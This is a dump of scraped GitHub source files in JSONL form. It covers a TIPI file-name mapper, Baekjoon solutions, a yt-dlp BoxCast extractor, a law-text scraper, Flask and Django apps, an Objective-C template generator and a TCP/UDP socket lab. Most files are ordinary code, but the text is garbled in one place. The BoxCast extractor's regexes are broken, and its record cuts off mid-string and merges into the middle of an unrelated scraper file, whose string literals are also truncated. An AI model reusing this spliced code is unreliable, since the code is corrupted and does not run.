+{"seq_id":"73123833211","text":"import sys\nimport os\nimport re\nimport string\nimport logging\nfrom crccheck.crc import Crc15\nfrom pathlib import Path\nfrom TipiConfig import TipiConfig\nfrom unidecode import unidecode\nfrom ti_files import ti_files\nfrom ti_files.BasicFile import basicSuffixes\nfrom tinames.NativeFlags import *\n\n# Transform a name supplied by the 4A into our storage path\n\nlogger = logging.getLogger(__name__)\n\ntipi_config = TipiConfig.instance()\n\nTIPI_DIR = \"/home/tipi/tipi_disk\"\n\nWILDCARD = '#?'\n\n\ndef __driveMapping(key):\n path = tipi_config.get(key)\n\n if path == \"\" or path is None:\n return None\n\n if path == \".\":\n return TIPI_DIR\n\n path = \"/\".join([x.replace(\"/\", \".\") for x in path.split(\".\")])\n path = TIPI_DIR + \"/\" + path\n return path\n\n\ndef __cs1Mapping():\n path = tipi_config.get(\"CS1_FILE\")\n\n if path == \"\" or path is None:\n return None\n\n path = \"/\".join([x.replace(\"/\", \".\") for x in path.split(\".\")])\n path = TIPI_DIR + \"/\" + path\n return path\n\n\ndef __scanForVolume(volume):\n # If it is literally DSK.TIPI. act like it matches DSK0.\n if volume == 'TIPI':\n return TIPI_DIR\n\n # next check if one of the mapped drives has the name\n disks = (\"DSK1_DIR\", \"DSK2_DIR\", \"DSK3_DIR\", \"DSK4_DIR\", \"DSK5_DIR\", \"DSK6_DIR\", \"DSK7_DIR\", \"DSK8_DIR\", \"DSK9_DIR\",)\n for disk in disks:\n path = __driveMapping(disk)\n if path != None and path.endswith(\"/\" + volume):\n return path\n\n # None of the Disks are mapped to this volume...\n # fall back to top level directories\n path = os.path.join(TIPI_DIR, volume)\n if os.path.exists(path):\n return path\n return None\n\n\ndef nativeFlags(devname):\n parts = str(devname).split(\".\")\n startpart = 1\n if parts[0] == \"DSK\":\n startpart = 2\n if parts[0] == \"CS1\":\n return \"\"\n flags = parts[startpart]\n if flags in NATIVE_FLAGS:\n return flags\n target_path = devnameToLocal(devname)\n if not target_path:\n return \"\"\n return nativeTextDir(target_path)\n\n\ndef nativeTextDir(target_path):\n if not os.path.isfile(target_path):\n target_path += '/'\n # check if any of text_dirs is a prefix of target_path\n native_text_dirs = [f\"TIPI.{a.strip()}\" for a in tipi_config.get(\"NATIVE_TEXT_DIRS\").split(',') if a]\n if native_text_dirs and len(native_text_dirs):\n text_dirs = [devnameToLocal(dir) for dir in native_text_dirs]\n if True in [(f\"{td}/\" in target_path) for td in text_dirs]:\n return TEXT_WINDOWS\n return \"\"\n\n\ndef devnameToLocal(devname, prog=False):\n parts = str(devname).split(\".\")\n path = None\n startpart = 1\n if parts[0] == \"TIPI\":\n path = TIPI_DIR\n elif parts[0] == \"DSK0\":\n path = TIPI_DIR\n elif parts[0] in (\"DSK1\", \"DSK2\", \"DSK3\", \"DSK4\", \"DSK5\", \"DSK6\", \"DSK7\", \"DSK8\", \"DSK9\",):\n path = __driveMapping(f\"{parts[0]}_DIR\")\n elif parts[0] == \"DSK\":\n path = __scanForVolume(parts[1])\n startpart = 2\n elif parts[0] == \"CS1\":\n path = __cs1Mapping()\n\n if path == None or path == \"\":\n logger.debug(\"no path matched\")\n return None\n\n # skip native file modes when finding linux path\n if len(parts) > startpart and parts[startpart] in NATIVE_FLAGS:\n startpart = startpart + 1\n\n for part in parts[startpart:]:\n if part != \"\":\n logger.debug(\"matching path part: %s\", part)\n if part == parts[-1]:\n path += \"/\" + findpath(path, part, prog=prog)\n else:\n path += \"/\" + findpath(path, part, dir=True)\n logger.debug(\"building path: %s\", path)\n\n path = str(path).strip()\n logger.debug(\"%s -> %s\", devname, path)\n\n return path\n\n\n# Transform long host filename to 10 character TI filename\ndef asTiShortName(name):\n parts = name.split(\"/\")\n lastpart = parts[len(parts) - 1]\n name = lastpart.replace(\".\", \"/\")\n return encodeName(name)\n\n\ndef encodeName(name):\n bytes = bytearray(name, 'utf-8')\n if len(bytes) == len(name) and len(name) <= 10:\n return name\n else:\n crc = Crc15.calc(bytearray(name, 'utf-8'))\n prefix = unidecode(name)[:6]\n shortname = f'{prefix}`{baseN(crc, 36)}'\n return shortname\n\n\ndef baseN(num, b, numerals=\"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ\"):\n return ((num == 0) and numerals[0]) or (\n baseN(num // b, b, numerals).lstrip(numerals[0]) + numerals[num % b]\n )\n\n\n# Use the context of actual files to transform TI file names to possibly\n# long TI names\n\n\ndef findpath(path, part, prog=False, dir=False):\n part = part.replace(\"/\", \".\").replace(\"\\\\\", \".\")\n # if the file actually exists (or dir) then use literal name\n if os.path.exists(os.path.join(path, part)):\n return part\n else:\n # if it doesn't exist, and the part has a short name hash, then search\n # for a os match\n if re.match(\"^[^ ]{6}[`][0-9A-Z]{3}$\", part):\n # Now we must find all the names in 'path' and see which one we\n # should load.\n candidates = list(\n filter(lambda x: asTiShortName(x) == part, os.listdir(path))\n )\n if candidates:\n return candidates[0]\n if WILDCARD in part:\n # return the first item that matches the wildcard expression\n globpart = part.replace(WILDCARD, \"*\")\n candidates = [p for p in Path(path).glob(globpart)]\n if candidates:\n candidates.sort()\n for item in candidates:\n if dir:\n # item must be a directory... \n if os.path.isdir(os.path.join(path, item.name)):\n return item.name\n elif prog:\n # item must be a Program image, or convertable type\n if isProgramLike(os.path.join(path, item.name)):\n return item.name\n else:\n return candidates[0].name\n return part\n\n\ndef isProgramLike(path):\n if os.path.exists(path):\n type = ti_files.get_file_type(path)\n if type == \"PRG\" or (type == \"native\" and path.lower().endswith(basicSuffixes)):\n return True\n return False\n\n\ndef local2tipi(localpath):\n \"\"\" transform a unix local path to a ti path relative to TIPI. \"\"\"\n if localpath.startswith(TIPI_DIR + \"/\"):\n idx = len(TIPI_DIR) + 1\n tipart = localpath[idx:]\n return tipart.replace(\"/\", \".\")\n else:\n return \"\"\n","repo_name":"jedimatt42/tipi","sub_path":"services/tinames/tinames.py","file_name":"tinames.py","file_ext":"py","file_size_in_byte":6579,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"78"}
+{"seq_id":"35211491485","text":"# 15685 <사다리 조작>\n\nimport sys\ninput = lambda: sys.stdin.readline()\n\ndef validate():\n for i in range(1,N+1):\n cur_n = i\n for j in range(1, H+1):\n if l[cur_n][j] == 1:\n cur_n +=1\n elif l[cur_n-1][j] == 1:\n cur_n -=1\n if cur_n != i:\n # print(f\"cur_n : {cur_n}\")\n return False\n return True\n\ndef dfs(cnt, h, num):\n global answer\n \n if cnt == num:\n if validate() == True:\n answer=cnt\n return \n \n for i in range(h, H+1):\n for j in range(1,N):\n if l[j][i] == 1:\n continue\n if j-1>0 and l[j-1][i] == 1:\n continue\n if j+1 < N and l[j+1][i] == 1:\n continue\n l[j][i]=1\n dfs(cnt+1,i,num)\n l[j][i]=0\n\nif __name__ == \"__main__\":\n N,M,H=list(map(int, input().split()))\n\n l = [list(0 for _ in range(H+1)) for _ in range(N+1)]\n for _ in range(M):\n a,b=list(map(int, input().split()))\n l[b][a]=1\n answer=-1\n condition = False\n for n in range(4):\n dfs(0,1,n)\n if answer > -1:\n print(answer)\n condition=True\n break\n if condition == False:\n print(-1)\n\n","repo_name":"HyungJunGoo/AlgorithmProblems","sub_path":"Baekjun/Simulation/15684.py","file_name":"15684.py","file_ext":"py","file_size_in_byte":1287,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"37598756132","text":"from .common import InfoExtractor\nfrom ..utils import (\n js_to_json,\n traverse_obj,\n unified_timestamp\n)\n\n\nclass BoxCastVideoIE(InfoExtractor):\n _VALID_URL = r'''(?x)\n https?://boxcast\\.tv/(?:\n view-embed/|\n channel/\\w+\\?(?:[^#]+&)?b=|\n video-portal/(?:\\w+/){2}\n )(?P[\\w-]+)'''\n _EMBED_REGEX = [r'
\") == -1) else data.find(\"\")))]\n\n #now we have the links\n #we need to extract references to the laws\n data = data.split(\"href\")\n to_return = \"\"\n for index, link in enumerate(data):\n link = link[link.find(\"ru-ru\")+6:len(link)]\n link = link[0:link.find(\"?\")]\n if (len(link) > 0 and hasNumbers(link)):\n link = link + \"_10.txt, \"\n to_return += link\n return to_return\n\n\n\n\n\ndef scroop_doc(data, key_terms, excpetion_terms):\n \n dict_return = []\n dict_return = dict(dict_return)\n for word in data.split():\n if any (x in word for x in key_terms):\n word = word.replace(',', '')\n if any (x in word for x in excpetion_terms):\n continue\n else:\n if word in dict_return:\n dict_return[word] += 1\n else:\n dict_return[word] = 1\n return str(dict_return)\n\ndef occurances(data, key_terms, excpetion_terms):\n word_found = \"---\"\n already_found = []\n \n number_of_occurances = 0\n number_non_unique_occurances = 0\n for word in data.split():\n if any (x in word for x in key_terms):\n word = word.replace(',', '')\n if any (x in word for x in excpetion_terms):\n continue\n else:\n number_non_unique_occurances = number_non_unique_occurances + 1\n if any (x in word for x in already_found):\n continue\n else:\n number_of_occurances = number_of_occurances + 1\n already_found.append(word)\n return number_of_occurances, number_non_unique_occurances\n\ndef occurances_ration(data, key_terms, excpetion_terms):\n word_found = \"---\"\n \n #begin_title = data.find(\"\")\n #end_title = data.find(\"\")\n #begin_body = data.find(\"
\")\n #end_body = data.find(\"
\")\n #data = data[begin_title:end_title] + \" \" + data[begin_body:end_body]\n number_of_occurances = 0\n for word in data.split():\n if any (x in word for x in key_terms):\n word = word.replace(',', '')\n if any (x in word for x in excpetion_terms):\n continue\n else:\n number_of_occurances = number_of_occurances + 1\n return ((1000.0 * number_of_occurances)/(int(len(data.split())+1)))\n\n","repo_name":"plisovyi1/Kyrgistan","sub_path":"kyrgiz_functions.py","file_name":"kyrgiz_functions.py","file_ext":"py","file_size_in_byte":2859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"41364600043","text":"\"\"\"\nThis microservice handles the process to retrieve tweets data from the mongodb database\nto clean it and push to a Kafka topic\n\nAuthor: Rohit Ravishankar\nEmail: rr9105@rit.edu\n\"\"\"\n\nimport logging\nimport yaml\nfrom flask import Flask\nfrom flask_restplus import Api, Resource, fields\nfrom tweetprocessor import TweetProcessor\n\napp = Flask(__name__)\napi = Api(app)\n\nwith open('processtweetsconfig.yaml') as config_file:\n try:\n twitter_streaming_config = yaml.safe_load(config_file)\n except yaml.YAMLError as exc:\n print(exc)\n\n# Adding basic config values to the logger\nlogging.basicConfig(\n filename=twitter_streaming_config['logging']['filename'],\n format=twitter_streaming_config['logging']['format'],\n level=logging.INFO,\n datefmt=twitter_streaming_config['logging']['datefmt']\n)\n\n\n@api.route('/clean-tweets')\nclass StreamTwitterData(Resource):\n\n @api.expect(\n api.model('Clean-Tweets',\n {\n 'topic': fields.String('The topic name to push the cleaned tweets towards'),\n 'stars': fields.String('The stars who are in consideration')\n }\n )\n )\n def post(self):\n \"\"\"\n To read data from the database and process it by cleaning the tweets\n\n :return: Result from the TweetProcess class\n \"\"\"\n return TweetProcessor(api.payload['topic'], api.payload['stars']).process_tweets()\n\n\nif __name__ == '__main__':\n app.run()\n","repo_name":"rohitravishankar/TwitterTweetAnalysis","sub_path":"ProcessTweets/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"23706127450","text":"from django import forms\nfrom . import models\nfrom django.utils.translation import gettext_lazy as _\n\n\nclass LeagueProfile(forms.ModelForm):\n class Meta:\n model=models.League\n fields=[\n 'league_name',\n 'league_email',\n 'league_venue',\n 'city',\n 'state',\n 'zip'\n ]\n labels={\n 'league_name':_('League Name'),\n 'league_email':_('Email'),\n 'league_venue':_('Venue'),\n 'city':_('City'),\n 'state':_('State'),\n 'zip':_('Zipcode'),\n }\n\nclass CreateTeam(forms.ModelForm):\n class Meta:\n model=models.Team\n fields=[\n 'admin_id',\n 'team_email',\n 'team_name',\n 'tm_1',\n 'tm_2',\n 'tm_3',\n ]\n labels={\n 'admin_id':_('League'),\n 'team_email':_('Email'),\n 'team_name':_('Team Name'),\n 'tm_1':_('Team Member 1'),\n 'tm_2':_('Team Member 2'),\n 'tm_3':_('Team Member 3'),\n }\n\nclass MatchRecord(forms.ModelForm):\n class Meta:\n model=models.Match\n fields=[\n 'admin_id',\n 'ref',\n 'team_1_id',\n 'team_2_id',\n 'team_1_game_1_score',\n 'team_1_game_2_score',\n 'team_1_game_3_score',\n 'team_2_game_1_score',\n 'team_2_game_2_score',\n 'team_2_game_3_score',\n ]\n labels={\n 'admin_id':_('League'),\n 'ref':_('Referee'),\n 'team_1_id':_('Team 1'),\n 'team_2_id':_('Team 2'),\n 'team_1_game_1_score':_('Team 1 score: Game 1'),\n 'team_1_game_2_score':_('Team 1 score: Game 2'),\n 'team_1_game_3_score':_('Team 1 score: Game 3'),\n 'team_2_game_1_score':_('Team 2 score: Game 1'),\n 'team_2_game_2_score':_('Team 2 score: Game 2'),\n 'team_2_game_3_score':_('Team 2 score: Game 3'),\n }\n\nclass TeamStatQuery(forms.ModelForm):\n class Meta:\n model=models.Team\n fields=['admin_id']\n labels={'admin_id':'Select League'}\n\n team_1 = forms.EmailField(max_length=128,required=True,label=\"Your team's email\")\n team_2 = forms.EmailField(max_length=128,required=True,label=\"Opposition team's email\")\n\nclass PlayerStatQuery(forms.ModelForm):\n class Meta:\n model=models.Bowler\n fields=['admin_id']\n labels={'admin_id':'Select League'}\n\n bowler_1 = forms.EmailField(max_length=128,required=True,label='Player 1 email')\n bowler_2 = forms.EmailField(max_length=128,required=True,label='Player 2 email')\n\nclass RefProfile(forms.ModelForm):\n class Meta:\n model = models.Referee\n fields = [\n 'admin_id',\n 'ref_name',\n 'ref_email',\n 'ref_address',\n 'city',\n 'state',\n 'zip'\n ]\n labels = {\n 'admin_id':_('League'),\n 'ref_name': _('Name'),\n 'ref_email': _('Email'),\n 'ref_address': _('Address'),\n 'city': _('City'),\n 'state': _('State'),\n 'zip': _('Zipcode'),\n }\n\nclass BowlerProfile(forms.ModelForm):\n class Meta:\n model = models.Bowler\n fields = [\n 'admin_id',\n 'bowler_name',\n 'bowler_email',\n 'bowler_address',\n 'city',\n 'state',\n 'zip'\n ]\n labels = {\n 'admin_id':_('League'),\n 'bowler_name': _('Name'),\n 'bowler_email': _('Email'),\n 'bowler_address': _('Address'),\n 'city': _('City'),\n 'state': _('State'),\n 'zip': _('Zipcode'),\n }","repo_name":"rohitsuresh1993/bowlingapp","sub_path":"BowlingApp/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":3810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"42806456245","text":"# -*- coding: utf-8 -*-\n\n\nimport time\nfrom string import Template\nfrom helper.file_template import FileTemplate\n\n\nclass FileText:\n # 文件顶部的描述文本信息\n @staticmethod\n def str_of_oc_class_desc(class_name, author, suffixes):\n # 格式化成2016-03-20 11:45:39形式\n date = time.strftime(\"%Y/%m/%d\", time.localtime())\n year = time.strftime(\"%Y\", time.localtime())\n\n # 待替换的信息\n d = {'class_name': class_name,\n 'suffixes': suffixes,\n 'date': date,\n 'year': year,\n 'author': author\n }\n return Template(FileTemplate.oc_class_desc_text()).safe_substitute(d)\n\n # interface 的描述文本信息\n @staticmethod\n def str_of_oc_interface(class_name,\n super_class_name='',\n protocol_str='',\n is_category=False,\n property_str='',\n method_str=''):\n\n category = ':'\n if is_category:\n category = '()'\n\n # 待替换的信息\n d = {'class_name': class_name,\n 'type': category,\n 'super_class_name': super_class_name,\n 'protocol_str': protocol_str,\n 'property_str': property_str,\n 'method_str': method_str,\n }\n return Template(FileTemplate.oc_class_interface_text()).safe_substitute(d)\n\n # implementation 的描述文本信息\n @staticmethod\n def str_of_oc_implementation(class_name, original_method_str='', getter_method_str='', synthesize_str=''):\n # 待替换的信息\n d = {'class_name': class_name,\n 'original_method_str': original_method_str,\n 'getter_method_str': getter_method_str,\n 'synthesize_str': synthesize_str,\n }\n return Template(FileTemplate.oc_class_implementation_text()).safe_substitute(d)\n\n # 导入头文件的描述文本信息\n @staticmethod\n def str_of_oc_import_class(framework_headers=None, custom_headers=None):\n # 头文件信息\n import_class_str = ''\n for index in range(len(framework_headers)):\n import_class_str += '#import <' + framework_headers[index] + '.h>\\n'\n\n for index in range(len(custom_headers)):\n import_class_str += '#import \"' + custom_headers[index] + '.h\"\\n'\n\n return import_class_str\n\n # 协议数组转字符串\n @staticmethod\n def str_of_oc_protocols(protocols):\n # 导入的协议信息\n protocol_str = ''\n protocol_len = 0\n if protocols:\n protocol_len = len(protocols)\n\n if protocol_len > 0:\n protocol_str = '<'\n\n for index in range(protocol_len):\n if index < protocol_len - 1:\n protocol_str += protocols[index] + ', '\n else:\n protocol_str += protocols[index] + '>'\n\n return protocol_str\n\n # 属性列表转字符串\n @staticmethod\n def str_of_oc_properties(properties):\n # 导入的属性列表信息\n property_str = ''\n property_len = 0\n if properties:\n property_len = len(properties)\n\n if property_len > 0:\n property_str = '\\n'\n\n for index in range(property_len):\n if index < property_len - 1:\n property_str += properties[index] + '\\n'\n else:\n property_str += properties[index] + '\\n'\n\n return property_str\n\n # 导入方法列表转字符串\n @staticmethod\n def str_of_oc_methods(methods):\n # 导入的方法列表信息\n method_str = ''\n method_len = 0\n if methods:\n method_len = len(methods)\n\n if method_len > 0:\n method_str = '\\n'\n\n for index in range(method_len):\n if index < method_len - 1:\n method_str += methods[index] + '\\n'\n else:\n method_str += methods[index] + '\\n'\n\n return method_str\n","repo_name":"JohnnyB0Y/GeneratingFile","sub_path":"helper/file_text.py","file_name":"file_text.py","file_ext":"py","file_size_in_byte":4072,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"}
+{"seq_id":"26896190253","text":"from django import template\n\nregister = template.Library()\n\nLIST_OF_BAD = (\n 'редиска',\n 'негодяй',\n 'негодяев',\n 'хитрожопый',\n 'хитрожопые',\n 'говнюк',\n 'жопошник',\n 'засранец'\n)\nLIST_OF_GOOD = (\n 'р******',\n 'н******',\n 'н*******',\n 'х*********',\n 'х*********',\n 'г*****',\n 'ж*******',\n 'з*******'\n)\n\n\n@register.filter()\ndef censor(value):\n for i in range(0, len(LIST_OF_BAD)):\n re1 = LIST_OF_BAD[i]\n re2 = LIST_OF_GOOD[i]\n\n value = value.replace(re1, '--')\n value = value.replace(re2, re1)\n value = value.replace('--', re2)\n return value\n","repo_name":"EugeneVorobei/NewsPortal","sub_path":"simpleapp/templatetags/censor.py","file_name":"censor.py","file_ext":"py","file_size_in_byte":703,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"29231043072","text":"from __future__ import annotations\n\nimport random\n\nTCP_FLAGS_SYN = 0x02\nTCP_FLAGS_RST = 0x04\nTCP_FLAGS_ACK = 0x10\n\nTCP_STATE_LISTEN = 0\nTCP_STATE_SYN_SENT = 1\nTCP_STATE_SYN_RECEIVED = 2\nTCP_STATE_ESTABLISHED = 3\nTCP_STATE_FIN_WAIT_1 = 4\nTCP_STATE_FIN_WAIT_2 = 5\nTCP_STATE_CLOSE_WAIT = 6\nTCP_STATE_CLOSING = 7\nTCP_STATE_LAST_ACK = 8\nTCP_STATE_TIME_WAIT = 9\nTCP_STATE_CLOSED = 10\n\nfrom headers import IPv4Header, UDPHeader, TCPHeader, \\\n IP_HEADER_LEN, UDP_HEADER_LEN, TCP_HEADER_LEN, \\\n TCPIP_HEADER_LEN, UDPIP_HEADER_LEN\n\n\n#From /usr/include/linux/in.h:\nIPPROTO_TCP = 6 # Transmission Control Protocol\nIPPROTO_UDP = 17 # User Datagram Protocol\n\nclass UDPSocket:\n def __init__(self, local_addr: str, local_port: int,\n send_ip_packet_func: callable,\n notify_on_data_func: callable) -> UDPSocket:\n\n self._local_addr = local_addr\n self._local_port = local_port\n self._send_ip_packet = send_ip_packet_func\n self._notify_on_data = notify_on_data_func\n\n self.buffer = []\n\n def handle_packet(self, pkt: bytes) -> None:\n ipv4_hdr = IPv4Header.from_bytes(pkt[:20])\n\n if ipv4_hdr.protocol == 17:\n udp_hdr = UDPHeader.from_bytes(pkt[20:28])\n data = pkt[28:]\n\n self.buffer.append((data, ipv4_hdr.src, udp_hdr.sport))\n self._notify_on_data()\n\n @classmethod\n def create_packet(cls, src: str, sport: int, dst: str, dport: int,\n data: bytes=b'') -> bytes:\n udp_length = 8 + len(data)\n udp_hdr = UDPHeader(sport, dport, udp_length, 0)\n\n ipv4_len = 20 + udp_hdr.length\n ipv4_hdr = IPv4Header(ipv4_len, 64, 17, 0, src, dst)\n\n pkt = ipv4_hdr.to_bytes() + udp_hdr.to_bytes() + data\n return pkt\n\n def send_packet(self, remote_addr: str, remote_port: int,\n data: bytes) -> None:\n pkt = self.create_packet(self._local_addr, self._local_port, remote_addr, remote_port, data)\n self._send_ip_packet(pkt)\n pass\n\n def recvfrom(self) -> tuple[bytes, str, int]:\n return self.buffer.pop(0)\n\n def sendto(self, data: bytes, remote_addr: str, remote_port: int) -> None:\n self.send_packet(remote_addr, remote_port, data)\n\n\nclass TCPSocketBase:\n def handle_packet(self, pkt: bytes) -> None:\n pass\n\nclass TCPListenerSocket(TCPSocketBase):\n def __init__(self, local_addr: str, local_port: int,\n handle_new_client_func: callable, send_ip_packet_func: callable,\n notify_on_data_func: callable) -> TCPListenerSocket:\n\n # These are all vars that are saved away for instantiation of TCPSocket\n # objects when new connections are created.\n self._local_addr = local_addr\n self._local_port = local_port\n self._handle_new_client = handle_new_client_func\n\n self._send_ip_packet_func = send_ip_packet_func\n self._notify_on_data_func = notify_on_data_func\n\n\n def handle_packet(self, pkt: bytes) -> None:\n ip_hdr = IPv4Header.from_bytes(pkt[:IP_HEADER_LEN])\n tcp_hdr = TCPHeader.from_bytes(pkt[IP_HEADER_LEN:TCPIP_HEADER_LEN])\n data = pkt[TCPIP_HEADER_LEN:]\n\n if tcp_hdr.flags & TCP_FLAGS_SYN:\n sock = TCPSocket(self._local_addr, self._local_port,\n ip_hdr.src, tcp_hdr.sport,\n TCP_STATE_LISTEN,\n send_ip_packet_func=self._send_ip_packet_func,\n notify_on_data_func=self._notify_on_data_func)\n\n self._handle_new_client(self._local_addr, self._local_port,\n ip_hdr.src, tcp_hdr.sport, sock)\n\n sock.handle_packet(pkt)\n\n\nclass TCPSocket(TCPSocketBase):\n def __init__(self, local_addr: str, local_port: int,\n remote_addr: str, remote_port: int, state: int,\n send_ip_packet_func: callable,\n notify_on_data_func: callable) -> TCPSocket:\n\n # The local/remote address/port information associated with this\n # TCPConnection\n self._local_addr = local_addr\n self._local_port = local_port\n self._remote_addr = remote_addr\n self._remote_port = remote_port\n\n # The current state (TCP_STATE_LISTEN, TCP_STATE_CLOSED, etc.)\n self.state = state\n\n # Helpful methods for helping us send IP packets and\n # notifying the application that we have received data.\n self._send_ip_packet = send_ip_packet_func\n self._notify_on_data = notify_on_data_func\n\n # Base sequence number\n self.base_seq_self = self.initialize_seq()\n\n # Base sequence number for the remote side\n self.base_seq_other = None\n\n\n @classmethod\n def connect(cls, local_addr: str, local_port: int,\n remote_addr: str, remote_port: int,\n send_ip_packet_func: callable,\n notify_on_data_func: callable) -> TCPSocket:\n sock = cls(local_addr, local_port,\n remote_addr, remote_port,\n TCP_STATE_CLOSED,\n send_ip_packet_func, notify_on_data_func)\n\n sock.initiate_connection()\n\n return sock\n\n\n def handle_packet(self, pkt: bytes) -> None:\n ip_hdr = IPv4Header.from_bytes(pkt[:IP_HEADER_LEN])\n tcp_hdr = TCPHeader.from_bytes(pkt[IP_HEADER_LEN:TCPIP_HEADER_LEN])\n data = pkt[TCPIP_HEADER_LEN:]\n\n if self.state != TCP_STATE_ESTABLISHED:\n self.continue_connection(pkt)\n\n if self.state == TCP_STATE_ESTABLISHED:\n if data:\n # handle data\n self.handle_data(pkt)\n if tcp_hdr.flags & TCP_FLAGS_ACK:\n # handle ACK\n self.handle_ack(pkt)\n\n\n def initialize_seq(self) -> int:\n return random.randint(0, 65535)\n\n\n def initiate_connection(self) -> None:\n flags = TCPHeader.makeFlags(True, False)\n self.state = TCP_STATE_SYN_SENT\n seq = self.base_seq_self\n data = b''\n self.send_packet(seq, 0, flags, data)\n\n def handle_syn(self, pkt: bytes) -> None:\n ipv4_hdr = IPv4Header.from_bytes(pkt[0:20])\n tcp_hdr = TCPHeader.from_bytes(pkt[20:40])\n\n if tcp_hdr.isSynFlagSet():\n self.base_seq_other = tcp_hdr.seq + 1\n self.state = TCP_STATE_SYN_RECEIVED\n \n flags = TCPHeader.makeFlags(True, True)\n data = b''\n self.send_packet(self.base_seq_self, self.base_seq_other, flags, data)\n\n def handle_synack(self, pkt: bytes) -> None:\n ipv4_hdr = IPv4Header.from_bytes(pkt[0:20])\n tcp_hdr = TCPHeader.from_bytes(pkt[20:40])\n\n if tcp_hdr.isSynFlagSet() and tcp_hdr.isAckFlagSet() and tcp_hdr.ack == self.base_seq_self + 1:\n self.state = TCP_STATE_ESTABLISHED\n self.base_seq_self = tcp_hdr.ack\n self.base_seq_other = tcp_hdr.seq + 1\n\n flags = TCPHeader.makeFlags(False, True)\n data = b''\n self.send_packet(self.base_seq_self, self.base_seq_other, flags, data)\n\n def handle_ack_after_synack(self, pkt: bytes) -> None:\n ipv4_hdr = IPv4Header.from_bytes(pkt[0:20])\n tcp_hdr = TCPHeader.from_bytes(pkt[20:40])\n\n if tcp_hdr.isAckFlagSet() and not (tcp_hdr.isSynFlagSet()) and tcp_hdr.ack == self.base_seq_self + 1:\n self.state = TCP_STATE_ESTABLISHED\n self.base_seq_self = tcp_hdr.ack\n self.base_seq_other = tcp_hdr.seq\n\n def continue_connection(self, pkt: bytes) -> None:\n if self.state == TCP_STATE_LISTEN:\n self.handle_syn(pkt)\n elif self.state == TCP_STATE_SYN_SENT:\n self.handle_synack(pkt)\n elif self.state == TCP_STATE_SYN_RECEIVED:\n self.handle_ack_after_synack(pkt)\n\n def send_data(self, data: bytes, flags: int=0) -> None:\n pass\n\n @classmethod\n def create_packet(cls, src: str, sport: int, dst: str, dport: int,\n seq: int, ack: int, flags: int, data: bytes=b'') -> bytes:\n data_len = len(data)\n tcp_hdr = TCPHeader(sport, dport, seq, ack, flags, 0)\n\n ipv4_len = 20 + 20 + data_len\n ipv4_hdr = IPv4Header(ipv4_len, 64, 6, 0, src, dst)\n\n return ipv4_hdr.to_bytes() + tcp_hdr.to_bytes() + data\n\n def send_packet(self, seq: int, ack: int, flags: int,\n data: bytes=b'') -> None:\n pkt = self.create_packet(self._local_addr, self._local_port, self._remote_addr, self._remote_port, seq, ack, flags, data)\n self._send_ip_packet(pkt)\n\n def handle_data(self, pkt: bytes) -> None:\n pass\n\n def handle_ack(self, pkt: bytes) -> None:\n pass\n","repo_name":"ChosenGible/byu-cs460-f2022","sub_path":"lab-transport-layer/mysocket.py","file_name":"mysocket.py","file_ext":"py","file_size_in_byte":8596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"31953484531","text":"# problem : https://www.acmicpc.net/problem/1966\r\n# keyword : 구현\r\n# return : 각 테스트 케이스에 대해 문서가 몇 번째로 인쇄되는지 출력\r\n\r\n\"\"\"\r\n1. 문제\r\n- 문서의 중요도 확인\r\n- 중요도가 높은 문서가 하나라도 있다면 현재 문서 queue 맨 뒤에 배치\r\n\r\n2. 입력 및 제한\r\n- 테스트케이스 수\r\n- 문서의 개수 N, 궁금한 문서의 위치 M\r\n- N개의 문서 중요도\r\n- 1<=중요도<=9, 중요도 중복 가능\r\n\r\n3. 로직 1\r\n- 중요도 정렬해서 별도로 저장한다\r\n- 인쇄한 수(cnt), 궁금한 문서 위치(idx)\r\n- 가장 높은 중요도를 발견할 때까지 뒤로 보낸다\r\n - 뒤로 보내는 게 idx이면 idx = len()-1\r\n - 뒤로 보내는 게 idx이 아니면 idx -= 1\r\n- 가장 높은 중요도 발견하면 인쇄한다\r\n - cnt += 1\r\n - 인쇄한 수가 idx이면 종료\r\n - 인쇄한 수가 idx이 아니면 idx -= 1\r\n\r\n4. 로직 2\r\n- 일단 문서를 하나 빼고 idx -= 1\r\n- 뺀 문서가 가장 높은 중요도를 가졌다면 idx 확인한다\r\n - cnt += 1\r\n - 0보다 작으면 종료\r\n- 뺀 문서가 가장 높은 중요도가 아니라면 뒤로 보내고 idx 확인한다\r\n - 0보다 작으면 idx = len() - 1\r\n\"\"\"\r\n\r\nimport sys\r\nfrom collections import deque\r\ninput = sys.stdin.readline\r\n\r\ndef print_target_1(idx, docs):\r\n priority = deque(sorted(docs, reverse=True))\r\n\r\n cnt = 0\r\n while True:\r\n first = priority.popleft()\r\n while docs[0] != first:\r\n docs.append(docs.popleft())\r\n if idx == 0:\r\n idx = len(docs) - 1\r\n else:\r\n idx -= 1\r\n cnt += 1\r\n if idx == 0:\r\n break\r\n else:\r\n docs.popleft()\r\n idx -= 1\r\n\r\n return cnt\r\n\r\ndef print_target_2(idx, docs):\r\n cnt = 0\r\n while docs:\r\n first = max(docs)\r\n front = docs.popleft()\r\n idx -= 1\r\n\r\n if first == front:\r\n cnt += 1\r\n if idx < 0:\r\n break\r\n else:\r\n docs.append(front)\r\n if idx < 0:\r\n idx = len(docs) - 1\r\n return cnt\r\n\r\n\r\ncase_cnt = int(input())\r\nfor _ in range(case_cnt):\r\n doc_cnt, idx = map(int, input().split())\r\n docs = deque(map(int, input().split()))\r\n print(print_target_1(idx, docs)) # 64ms\r\n print(print_target_2(idx, docs)) # 70ms\r\n\r\n\"\"\"\r\n테스트 케이스 : 1 2 5\r\n\r\n3\r\n1 0\r\n5\r\n4 2\r\n1 2 3 4\r\n6 0\r\n1 1 9 1 1 